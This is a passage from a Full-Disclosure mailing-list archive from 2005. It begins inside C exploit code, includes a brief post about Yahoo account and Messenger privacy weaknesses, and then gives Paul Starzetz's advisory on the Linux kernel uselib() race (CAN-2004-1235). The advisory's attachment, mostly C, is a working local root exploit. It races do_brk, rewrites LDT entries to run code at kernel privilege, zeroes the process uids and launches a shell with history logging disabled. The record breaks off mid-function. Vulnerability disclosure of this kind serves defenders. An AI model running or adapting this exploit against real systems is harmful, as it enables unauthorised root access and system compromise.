	eph.p_memsz = LIB_SIZE;
	eph.p_flags = PF_W|PF_R|PF_X;
	write(fd, &eph, sizeof(eph) );//	execable code
	lseek(fd, 4096, SEEK_SET);
	memset(tmpbuf, 0x90, sizeof(tmpbuf) );
	write(fd, &tmpbuf, sizeof(tmpbuf) );
	close(fd);
}
//	move stack down #2
void prepare_finish()
{
int r;
	old_esp &= ~(PAGE_SIZE-1);
	old_esp -= PAGE_SIZE;
	task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
	r = sys_munmap(old_esp, task_size-old_esp);
	if(r) fatal("unmap stack", 0);//	setup rt env
	uid = getuid();
	lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
	map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
	printf("\n[+] moved stack %x, task_size=%x, map_base=%x",
		old_esp, task_size, map_base); fflush(stdout);	make_lib();
	exploitme();
}
//	move stack down #1
void prepare()
{
unsigned p=0;	environ = myenv;	p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
		       MAP_PRIVATE|MAP_ANONYMOUS, 0, 0	);
	if(-1==p) fatal("mmap2 stack", 0);
	p += STACK_SIZE - 64;
	__asm__("movl	%%esp, %0	\n"
		"movl 	%1, %%esp	\n"
		: : "m"(old_esp), "m"(p)
	);
	prepare_finish();
}
void static chldcnt(int v)
{
	ccnt++;
}
//	alloc slab objects...
inline void do_wipe()
{
int *r, c=0, left=0;
	
	__asm__("movl	%%esp, %0" : : "m"(old_esp) );	old_esp = (old_esp - PGD_SIZE) & ~(PGD_SIZE-1);
	for(;;) {
		if(left<=0)
			left = get_slab_objs("vm_area_struct");
		if(left <= SLAB_THRSH)
			break;
		left--;		map_flags ^= PROT_READ;
		old_esp -= PAGE_SIZE;
		r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
			MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
		if(MAP_FAILED == r)
			break;		c++;
		if(c>SLAB_PER_CHLD)
			break;
		if( (c%1024)==0 ) {
			printf("\rchild %d %d", val, c);
			fflush(stdout);
		}
	}	kill(getppid(), SIGUSR1);
	for(;;) pause();
}
void wipe_slab()
{
	signal(SIGUSR1, chldcnt);
	for(;;) {
		ccnt=0;
		val++;
		cpid = fork();
		if(!cpid) {
			printf("\n");
			do_wipe();
		}
		pause();
		if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
			break;
		sys_sched_yield();
	}
	printf("\n");
	signal(SIGUSR1, SIG_DFL);
}
void usage(char *n)
{
	printf("\nUsage: %s\t-s forced stop\n", n);
	printf("\t\t-n SMP iterations\n");
	printf("\t\t-b empty SLAB mode\n");
	printf("\n");
	_exit(1);
}
//	give -s for forced stop, -b to clean SLAB
int main(int ac, char **av)
{
int r;	while(ac) {
		r = getopt(ac, av, "bsn:");
		if(r<0) break;		switch(r) {
		case 's' :
			fstop = 1;
			break;		case 'n' :
			smp = atoi(optarg);
			if(smp<0) fatal("bad value", 0);
			break;		case 'b' :
			brute = 1;
			break;		default:
			usage(av[0]);
			break;
		}
	}	uid = getuid();
	setpgrp();
	if(brute)
		wipe_slab();
	prepare();return 0;
}


 http://www.sharpmail.co.uk - "Live in your world, email in ours" Send 'fake' email for free!
 Remove this footer by upgrading.

From xploitable at gmail.com  Fri Jan  7 15:42:04 2005
From: xploitable at gmail.com (n3td3v)
Date: Fri, 7 Jan 2005 15:42:04 +0000
Subject: [Full-Disclosure] Yahoo security and privacy
In-Reply-To: <web-181970762@ua.fm>
References: <web-181970762@ua.fm>
Message-ID: <4b6ee931050107074214fc162f@mail.gmail.com>

On Tue, 04 Jan 2005 14:18:49 +0200, Alex V. Lukyanenko
<y_avenger_y at ua.fm> wrote:
> 
> Quoting n3td3v,
> > Because we all know Yahoo! has no account security, so kids aged 15
> > can hack an account. Yahoo! is like hacking for beginners. Its easy to
> > do, and therefore a great network to learn skills.. bravo Yahoo!, you
> > have a use after all.
> Hm, hm. Yahoo's rudimentary security 'features' such as account
> lockout policy (12 hours after several failed login attempts) is most
> often used as a DoS against that account owner.
> Plus numerous "booters" exploiting holes (read: buffer overflows) in
> ypager.exe, and you have a perfect way to kick someone out from chat
> and not let him/her/it return.
> They (at Yahoo) try to make it harder to write your own chat
> client/bot/messanger by slightly changing their CRAM (and still, it
> was reversed, nevermind that it nowadays consist of several MD5-like
> routines and is heavily obfuscated against casual reverse-engineers
> :P)
> 
> Couldn't hold myself, this is FD after all :)
> 
> --
> Alex V. Lukyanenko | 86195208 at icq | y_avenger_y at ua.fm
> ----
> http://cards.alkar.net/
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 

Thats the least of it. Yahoo! Messenger has no privacy. You can detect
people who are invisible easily. A friend has developed a good open
source project at buddy-spy.com You might want to check that out.
Yahoo! Messenger team are scrambling to build a brand new robust and
secure protocol for 2005, to particularly stop kids and vulnerable
females from getting unwanted attention through the fundamental
privacy flaws in the protocol my friend has been able to use to
develop buddy-spy.

If you're worried about your kids saftey on Yahoo! messenger, don't
use it. At least until privacy flaws have been fixed.

I could continue the list of Yahoo! glitches and flaws, but i'll leave
it at the lack of privacy on Yahoo! Messenger for now.

n3td3v, the greatest!
Yahoo sec admins are no use.


From ihaquer at isec.pl  Fri Jan  7 12:17:30 2005
From: ihaquer at isec.pl (Paul Starzetz)
Date: Fri, 7 Jan 2005 13:17:30 +0100 (CET)
Subject: [Full-Disclosure] Linux kernel uselib() privilege elevation,
	corrected
Message-ID: <Pine.LNX.4.44.0501071309180.2904-200000@isec.pl>

Hi all,

first of all I must comply about the handling of this vulnerability that I 
reported to vendorsec. Obviously my code posted there has been stolen and 
plagiated in order to put the blame on Stefan Esser from Ematters and 
disturb the security community. 

I really apologize to Stefan Esser for the inconvenience and thank him 
for his cool reaction - the plagiate worked.

---------------------------------------------------------------------------

Synopsis:  Linux kernel uselib() privilege elevation
Product:   Linux kernel
Version:   2.4 up to and including 2.4.29-rc2, 2.6 up to and including 2.6.10
Vendor:    http://www.kernel.org/
URL:       http://isec.pl/vulnerabilities/isec-0021-uselib.txt
CVE:       CAN-2004-1235
Author:    Paul Starzetz <ihaquer at isec.pl>
Date:      Jan 07, 2005


Issue:
======

Locally  exploitable  flaws  have  been found in the Linux binary format
loaders'  uselib()  functions  that  allow  local  users  to  gain  root
privileges.


Details:
========

The Linux kernel provides a binary format loader layer to load (execute)
programs of different binary formats like ELF or  a.out  and  more.  The
kernel   also   provides   a  function  named  sys_uselib()  to  load  a
corresponding library.  This  function  is  dispatched  to  the  current
process's binary format handler and is basicaly a simplified mmap() code
coupled with some header parsing code.

An analyse of the uselib function load_elf_library()  from  binfmt_elf.c
revealed a flaw in the handling of the library's brk segment (VMA). That
segment is created with the  current->mm->mmap_sem  semaphore  NOT  held
while  modyfying  the  memory layout of the calling process. This can be
used to disturb the memory management and gain elevated privileges. Also
the binfmt_aout binary format loader code is affected in the same way.


Discussion:
=============

The  vulnerable  code  resides  for  example  in fs/binfmt_elf.c in your
kernel source code tree:

static int load_elf_library(struct file *file)
{
[904]  down_write(&current->mm->mmap_sem);
       error = do_mmap(file,
                     ELF_PAGESTART(elf_phdata->p_vaddr),
                     (elf_phdata->p_filesz +
                      ELF_PAGEOFFSET(elf_phdata->p_vaddr)),
                     PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE,
                     (elf_phdata->p_offset -
                      ELF_PAGEOFFSET(elf_phdata->p_vaddr)));
       up_write(&current->mm->mmap_sem);
       if (error != ELF_PAGESTART(elf_phdata->p_vaddr))
              goto out_free_ph;

       elf_bss = elf_phdata->p_vaddr + elf_phdata->p_filesz;
       padzero(elf_bss);

       len = ELF_PAGESTART(elf_phdata->p_filesz + elf_phdata->p_vaddr + ELF_MIN_ALIGN - 1);
       bss = elf_phdata->p_memsz + elf_phdata->p_vaddr;
       if (bss > len)
              do_brk(len, bss - len);

The line numbers are all valid for the 2.4.28 kernel version. As can  be
seen  the  mmap_sem  is  released  prior to calling do_brk() in order to
create the data section of the ELF library. On the other  hand,  looking
into  the code of sys_brk() from mm/mmap.c reveals that do_brk() must be
called with the semaphore held.

A short look into the code of do_brk() shows that:

[1094] vma = kmem_cache_alloc(vm_area_cachep, SLAB_KERNEL);
       if (!vma)
              return -ENOMEM;

       vma->vm_mm = mm;
       vma->vm_start = addr;
       vma->vm_end = addr + len;
       vma->vm_flags = flags;
       vma->vm_page_prot = protection_map[flags & 0x0f];
       vma->vm_ops = NULL;
       vma->vm_pgoff = 0;
       vma->vm_file = NULL;
       vma->vm_private_data = NULL;

       vma_link(mm, vma, prev, rb_link, rb_parent);

where   rb_link   and   rb_parent   were   both   found    by    calling
find_vma_prepare().  Obviously,  if  the kmem_cache_alloc() call sleeps,
the newly created VMA descriptor  may  be  inserted  at  wrong  position
because the process's VMA list and the VMA RB-tree may have been changed
by another thread. This is absolutely enough to gain root privileges.

We  have  found  at  least  three  different  ways   to   exploit   this
vulnerability.  The  race condition can be easily won by consuming a big
amount of memory. A proof  of  concept  code  exists  but  will  not  be
released yet.


Impact:
=======

Unprivileged local users can gain elevated (root) privileges.


Credits:
========

Paul  Starzetz  <ihaquer at isec.pl>  has  identified the vulnerability and
performed further research. COPYING, DISTRIBUTION, AND  MODIFICATION  OF
INFORMATION  PRESENTED  HERE  IS ALLOWED ONLY WITH EXPRESS PERMISSION OF
ONE OF THE AUTHORS.


Disclaimer:
===========

This document and all the information it contains are provided "as  is",
for  educational  purposes  only,  without warranty of any kind, whether
express or implied.

The authors reserve the right not to be responsible for the  topicality,
correctness,  completeness  or  quality  of the information  provided in
this document. Liability claims regarding damage caused by  the  use  of
any  information  provided,  including  any kind of information which is
incomplete or incorrect, will therefore be rejected.


Appendix:
=========

Code attached.

------------------------------------------------------------------------

--
Paul Starzetz
iSEC Security Research
http://isec.pl/
-------------- next part --------------
/*
 *	binfmt_elf uselib VMA insert race vulnerability
 *	v1.08
 *
 *	gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
 *
 *	Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 *	THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 *	AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 *	WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */


#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <syscall.h>
#include <limits.h>

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/sysinfo.h>

#include <linux/elf.h>
#include <linux/linkage.h>

#include <asm/page.h>
#include <asm/ldt.h>
#include <asm/segment.h>

#define str(s) #s
#define xstr(s) str(s)

#define MREMAP_MAYMOVE  1


//	temp lib location
#define LIBNAME 	"/dev/shm/_elf_lib"

//	shell name
#define	SHELL		"/bin/bash"

//	time delta to detect race
#define RACEDELTA	5000

//	if you have more deadbabes in memory, change this
#define MAGIC		0xdeadbabe


//	do not touch
#define	SLAB_THRSH	128
#define	SLAB_PER_CHLD	(INT_MAX - 1)
#define LIB_SIZE	( PAGE_SIZE * 4 )
#define STACK_SIZE	( PAGE_SIZE * 4 )

#define LDT_PAGES	( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )

#define ENTRY_GATE	( LDT_ENTRIES-1 )
#define SEL_GATE	( (ENTRY_GATE<<3)|0x07 )

#define ENTRY_LCS	( ENTRY_GATE-2 )
#define SEL_LCS		( (ENTRY_LCS<<3)|0x04 )

#define ENTRY_LDS	( ENTRY_GATE-1 )
#define SEL_LDS		( (ENTRY_LDS<<3)|0x04 )

#define kB		* 1024
#define MB		* 1024 kB
#define GB		* 1024 MB

#define TMPLEN		256
#define PGD_SIZE	( PAGE_SIZE*1024 )


extern char **environ;

static char cstack[STACK_SIZE];
static char name[TMPLEN];
static char line[TMPLEN];


static volatile int
	val = 0,
	go = 0,
	finish = 0,
	scnt = 0,
	ccnt=0,
	delta = 0,
	delta_max = RACEDELTA,
	map_flags = PROT_WRITE|PROT_READ;


static int
	fstop=0,
	silent=0,
	pidx,
	pnum=0,
	smp_max=0,
	smp,
	wtime=2,
	cpid,
	uid,
	task_size,
	old_esp,
	lib_addr,
	map_count=0,
	map_base=0,
	map_addr,
	addr_min,
	addr_max,
	vma_start,
	vma_end,
	max_page;


static struct timeval tm1, tm2;

static char *myenv[] = {"TERM=vt100",
			"HISTFILE=/dev/null",
			NULL};

static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70"
                         "\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00";


static char *pagemap, *libname=LIBNAME, *shellname=SHELL;



#define __NR_sys_gettimeofday	__NR_gettimeofday
#define __NR_sys_sched_yield	__NR_sched_yield
#define __NR_sys_madvise	__NR_madvise
#define __NR_sys_uselib		__NR_uselib
#define __NR_sys_mmap2		__NR_mmap2
#define __NR_sys_munmap		__NR_munmap
#define __NR_sys_mprotect	__NR_mprotect
#define __NR_sys_mremap		__NR_mremap

inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);

inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);

inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );

inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
inline _syscall2(int, sys_munmap, int, a, int, b);

inline _syscall1(int, sys_uselib, char*, l);

inline _syscall0(void, sys_sched_yield);



inline int tmdiff(struct timeval *t1, struct timeval *t2)
{
int r;

	r=t2->tv_sec - t1->tv_sec;
	r*=1000000;
	r+=t2->tv_usec - t1->tv_usec;
return r;
}


void fatal(const char *message, int critical)
{
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);

	if(!errno) {
		fprintf(stdout, "\n[-] FAILED: %s ", message);
	} else {
		fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
			(char*) (strerror(errno)) );
	}
	if(critical)
		printf("\nCRITICAL, entering endless loop");
	printf("\n");
	fflush(stdout);

	unlink(libname);
	kill(cpid, SIGKILL);
	for(;;) kill(0, sig);
}


//	try to race do_brk sleeping on kmalloc, may need modification for SMP
int raceme(void* v)
{
	finish=1;

	for(;;) {
		errno = 0;

//	check if raced:
recheck:
		if(!go) sys_sched_yield();
		sys_gettimeofday(&tm2, NULL);
		delta = tmdiff(&tm1, &tm2);
		if(!smp_max && delta < (unsigned)delta_max) goto recheck;
		smp = smp_max;

//	check if lib VMAs exist as expected under race condition
recheck2:
		val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
		if(val) continue;
		errno = 0;
		val = sys_madvise((void*) (lib_addr+PAGE_SIZE),
				LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
		if( !val || (val<0 && errno!=ENOMEM) ) continue;

//	SMP?
		smp--;
		if(smp>=0) goto recheck2;

//	recheck race
		if(!go) continue;
		finish++;

//	we need to free one vm_area_struct for mmap to work
		val = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
		if(val) fatal("mprotect", 0);
		val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE,
			      MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
		if(-1==val) fatal("mmap2 race", 0);
		printf("\n[+] race won maps=%d", map_count); fflush(stdout);
		_exit(0);
	}

return 0;
}


int callme_1()
{
	return val++;
}


inline int valid_ptr(unsigned ptr)
{
	return ptr>=task_size && ptr<addr_min-16;
}


inline int validate_vma(unsigned *p, unsigned s, unsigned e)
{
unsigned *t;

	if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {
		t=(unsigned*)p[3];
		if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )
			return 1;
	}
	return 0;
}


asmlinkage void kernel_code(unsigned *task)
{
unsigned *addr = task;

//	find & reset uids
	while(addr[0] != uid || addr[1] != uid ||
	      addr[2] != uid || addr[3] != uid)
		addr++;

	addr[0] = addr[0] = addr[2] = addr[3] = 0;
	addr[4] = addr[5] = addr[6] = addr[7] = 0;

//	find & correct VMA
	for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) {
		if( validate_vma(addr, vma_start, vma_end) ) {
			addr[1] = task_size - PAGE_SIZE;
			addr[2] = task_size;
			break;
		}
	}
}


void kcode(void);


void __kcode(void)
{
asm(
	"kcode:						\n"
	"	pusha					\n"
	"	pushl	%es				\n"
	"	pushl	%ds				\n"
	"	movl	$(" xstr(SEL_LDS) ") ,%edx	\n"
	"	movl	%edx,%es			\n"
	"	movl	%edx,%ds			\n"
	"	movl	$0xffffe000,%eax		\n"
	"	andl	%esp,%eax			\n"
	"	pushl	%eax				\n"
	"	call	kernel_code			\n"
	"	addl	$4, %esp			\n"
	"	popl	%ds				\n"
	"	popl	%es				\n"
	"	popa					\n"
	"	lret					\n"
    );
}


int callme_2()
{
	return val + task_size + addr_min;
}


void sigfailed(int v)
{
	ccnt++;
	fatal("lcall", 1);
}


//	modify LDT & exec
void try_to_exploit(unsigned addr)
{
volatile int r, *v;

	printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
	unlink(libname);

	r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags);
	if(r) fatal("mprotect 1", 1);

//	check if really LDT
	v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
	signal(SIGSEGV, sigfailed);
	r = *v;
	if(r != MAGIC) {
		printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
		fatal("find LDT", 1);
	}

//	yeah, setup CPL0 gate
	v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU);
	v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
	printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]); fflush(stdout);

//	setup CPL0 segment descriptors (we need the 'accessed' versions ;-)
	v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) );
	v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */
	v[1] = 0x00cf9b00;

	v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) );
	v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */
	v[1] = 0x00cf9300;

//	reprotect to get only one big VMA
	r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags);
	if(r) fatal("mprotect 2", 1);

//	CPL0 transition
	sys_sched_yield();
	val = callme_1() + callme_2();
	asm("lcall $" xstr(SEL_GATE) ",$0x0");
	if( getuid()==0 || (val==31337 && strlen(hellc0de)==16) ) {
		printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout);
	} else {
		printf("\n[-] uid change failed" ); fflush(stdout);
		sigfailed(0);
	}
	signal(SIGTERM, SIG_IGN);
	kill(0, SIGTERM);
	execl(shellname, "sh", NULL);
	fatal("execl", 0);
}


void scan_mm_finish();
void scan_mm_start();


//	kernel page table scan code
void scan_mm()
{
	map_addr -= PAGE_SIZE;
	if(map_addr <= (unsigned)addr_min)
		scan_mm_start();

	scnt=0;
	val = *(int*)map_addr;
	scan_mm_finish();
}


void scan_mm_finish()
{
retry:
	__asm__("movl	%0, %%esp" : :"m"(old_esp) );

	if(scnt) {
		pagemap[pidx] ^= 1;
	}
	else {
		sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
	}
	pidx--;
	scan_mm();
	goto retry;
}


//	make kernel page maps before and after allocating LDT
void scan_mm_start()
{
static int npg=0;
static struct modify_ldt_ldt_s l;

	pnum++;
	if(pnum==1) {
		pidx = max_page-1;
	}
	else if(pnum==2) {
		memset(&l, 0, sizeof(l));
		l.entry_number = LDT_ENTRIES-1;
		l.seg_32bit = 1;
		l.base_addr = MAGIC >> 16;
		l.limit = MAGIC & 0xffff;
		l.limit_in_pages = 1;
		if( modify_ldt(1, &l, sizeof(l)) != 0 )
			fatal("modify_ldt", 1);
		pidx = max_page-1;
	}
	else if(pnum==3) {
		npg=0;
		for(pidx=0; pidx<=max_page-1; pidx++) {
			if(pagemap[pidx]) {
				npg++;
				fflush(stdout);
			}
			else if(npg == LDT_PAGES) {
				npg=0;
				try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE);
			} else {
				npg=0;
			}
		}
		fatal("find LDT", 1);
	}

//	save context & scan page table
	__asm__("movl	%%esp, %0" : :"m"(old_esp) );
	map_addr = addr_max;
	scan_mm();
}


//	return number of available SLAB objects in cache
int get_slab_objs(const char *sn)
{
static int c, d, u = 0, a = 0;
FILE *fp=NULL;

	fp = fopen("/proc/slabinfo", "r");
	if(!fp)
		fatal("get_slab_objs: fopen", 0);
	fgets(name, sizeof(name) - 1, fp);
	do {
		c = u = a = -1;
		if (!fgets(line, sizeof(line) - 1, fp))
			break;
		c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
			   &d, &d, &d, &d);
	} while (strcmp(name, sn));
	close(fileno(fp));
	fclose(fp);
	return c == 7 ? a - u : -1;
}


//	leave one object in the SLAB
inline void prepare_slab()
{
int *r;

	map_addr -= PAGE_SIZE;
	map_count++;
	map_flags ^= PROT_READ;

	r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
			     MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
	if(MAP_FAILED == r) {
		fatal("try again", 0);
	}
	*r = map_addr;
}


//	sig handlers
void segvcnt(int v)
{
	scnt++;
	scan_mm_finish();
}


//	child reap
void reaper(int v)
{
	ccnt++;
	waitpid(0, &v, WNOHANG|WUNTRACED);
}


//	sometimes I get the VMAs in reversed order...
//	so just use anyone of the two but take care about the flags
void check_vma_flags();

void vreversed(int v)
{
	map_flags = 0;
	check_vma_flags();
}


void check_vma_flags()
{
	if(map_flags) {
		__asm__("movl	%%esp, %0" : :"m"(old_esp) );
	} else {
		__asm__("movl	%0, %%esp" : :"m"(old_esp) );
		goto out;
	}
	signal(SIGSEGV, vreversed);
	val = * (unsigned*)(lib_addr + PAGE_SIZE);
out:
}


//	use elf library and try to sleep on kmalloc
void exploitme()
{
int r, sz, pcnt=0;
static char smiley[]="-\\|/-\\|/";

//	printf("\n    cat /proc/%d/maps", getpid() ); fflush(stdout);

//	helper clone
	finish=0; ccnt=0;
	sz = sizeof(cstack) / sizeof(cstack[0]);
	cpid = clone(&raceme, (void*) &cstack[sz-16],
			CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
	if(-1==cpid) fatal("clone", 0);

//	synchronize threads
	while(!finish) sys_sched_yield();
	finish=0;
	if(!silent) {
		printf("\n"); fflush(stdout);
	}

//	try to hit the kmalloc race
	for(;;) {

		r = get_slab_objs("vm_area_struct");
		while(r != 1) {
			prepare_slab();
			r--;
		}

		sys_gettimeofday(&tm1, NULL);
		go = 1;
		r=sys_uselib(libname);
		go = 0;
		if(r) fatal("uselib", 0);
		if(finish) break;

//	wipe lib VMAs and try again
		r = sys_munmap(lib_addr, LIB_SIZE);
		if(r) fatal("munmap lib", 0);
		if(ccnt) goto failed;

		if( !silent && !(pcnt%64) ) {
			printf("\r    Wait... %c", smiley[ (pcnt/64)%8 ]);
			fflush(stdout);
		}
		pcnt++;
	}

//	seems we raced, free mem
	r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
	if(r) fatal("munmap 1", 0);
	r = sys_munmap(lib_addr, PAGE_SIZE);
	if(r) fatal("munmap 2", 0);
	
//	relax kswapd
	sys_gettimeofday(&tm1, NULL);
	for(;;) {
		sys_sched_yield();
		sys_gettimeofday(&tm2, NULL);
		delta = tmdiff(&tm1, &tm2);
		if( wtime*1000000U <= (unsigned)delta ) break;
	}

//	we need to check the PROT_EXEC flag
	map_flags = PROT_EXEC;
	check_vma_flags();
	if(!map_flags) {
		printf("\n    VMAs reversed"); fflush(stdout);
	}

//	write protect brk's VMA to fool vm_enough_memory()
	r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
			 PROT_READ|map_flags);
	if(-1==r) { fatal("mprotect brk", 0); }

//	this will finally make the big VMA...
	sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
expand:
	r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
			LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
	if(r) fatal("madvise", 0);
	r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
			PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
	if(-1==r) {
		if(0==sz) {
			fatal("mremap: expand VMA", 0);
		} else {
			sz -= PAGE_SIZE;
			goto expand;
		}
	}
	vma_start = lib_addr + PAGE_SIZE;
	vma_end = vma_start + sz + 2*PAGE_SIZE;
	printf("\n    expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
	fflush(stdout);

//	try to figure kernel layout
	signal(SIGCHLD, reaper);
	signal(SIGSEGV, segvcnt);
	signal(SIGBUS, segvcnt);
	scan_mm_start();

failed:
	fatal("try again", 0);

}


//	make fake ELF library
void make_lib()
{
struct elfhdr eh;
struct elf_phdr eph;
static char tmpbuf[PAGE_SIZE];
int fd;

//	make our elf library
	umask(022);
	unlink(libname);
	fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755);
	if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0);
	memset(&eh, 0, sizeof(eh) );

//	elf exec header
	memcpy(eh.e_ident, ELFMAG, SELFMAG);
	eh.e_type = ET_EXEC;
	eh.e_machine = EM_386;
	eh.e_phentsize = sizeof(struct elf_phdr);
	eh.e_phnum = 1;
	eh.e_phoff = sizeof(eh);
	write(fd, &eh, sizeof(eh) );

//	section header:
	memset(&eph, 0, sizeof(eph) );
	eph.p_type = PT_LOAD;
	eph.p_offset = 4096;
	eph.p_filesz = 4096;
	eph.p_vaddr = lib_addr;
	eph.p_memsz = LIB_SIZE;
	eph.p_flags = PF_W|PF_R|PF_X;
	write(fd, &eph, sizeof(eph) );

//	execable code
	lseek(fd, 4096, SEEK_SET);
	memset(tmpbuf, 0x90, sizeof(tmpbuf) );
	write(fd, &tmpbuf, sizeof(tmpbuf) );
	close(fd);
}


//	move stack down #2
void prepare_finish()
{
int r;
static struct sysinfo si;

	old_esp &= ~(PAGE_SIZE-1);
	old_esp -= PAGE_SIZE;
	task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
	r = sys_munmap(old_esp, task_size-old_esp);
	if(r) fatal("unmap stack", 0);

//	setup rt env
	uid = getuid();
	lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
	if(map_base)
		map_addr = map_base;
	else
		map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
	printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x",
		old_esp, task_size, map_base); fflush(stdout);

//	check physical mem & prepare
	sysinfo(&si);
	addr_min = task_size + si.totalram;
	addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
	addr_max = addr_min + si.totalram;
	if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min)
		addr_max = 0xffffd000;

	printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
	max_page = (addr_max - addr_min) / PAGE_SIZE;
	pagemap = malloc( max_page + 32 );
	if(!pagemap) fatal("malloc pagemap", 1);
	memset(pagemap, 0, max_page + 32);

//	go go
	make_lib();
	exploitme();
}


//	move stack down #1
void prepare()
{
unsigned p=0;

	environ = myenv;

	p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
		       MAP_PRIVATE|MAP_ANONYMOUS, 0, 0	);
	if(-1==p) fatal("mmap2 stack", 0);
	p += STACK_SIZE - 64;

	__asm__("movl	%%esp, %0	\n"
		"movl 	%1, %%esp	\n"
		: : "m"(old_esp), "m"(p)
	);

	prepare_finish();
}


void chldcnt(int v)
{
	ccnt++;
}


//	alloc slab objects...
inline void do_wipe()
{
int *r, c=0, left=0;

	__asm__("movl	%%esp, %0" : : "m"(old_esp) );

	old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1);
	old_esp = map_base? map_base : old_esp;

	for(;;) {
		if(left<=0)
			left = get_slab_objs("vm_area_struct");
		if(left <= SLAB_THRSH)
			break;
		left--;

		map_flags ^= PROT_READ;
		old_esp -= PAGE_SIZE;
		r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
			MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
		if(MAP_FAILED == r)
			break;

		if(c>SLAB_PER_CHLD)
			break;
		if( (c%1024)==0 ) {
			if(!c) printf("\n");
			printf("\r    child %d VMAs %d", val, c);
			fflush(stdout);
		}
		c++;
	}
	printf("\r    child %d VMAs %d", val, c);
	fflush(stdout);
	kill(getppid(), SIGUSR1);
	for(;;) pause();
}


//	empty SLAB caches
void wipe_slab()
{
	signal(SIGUSR1, chldcnt);
	printf("\n[+] SLAB cleanup"); fflush(stdout);
	for(;;) {
		ccnt=0;
		val++;
		cpid = fork();
		if(!cpid)
			do_wipe();

		while(!ccnt) sys_sched_yield();
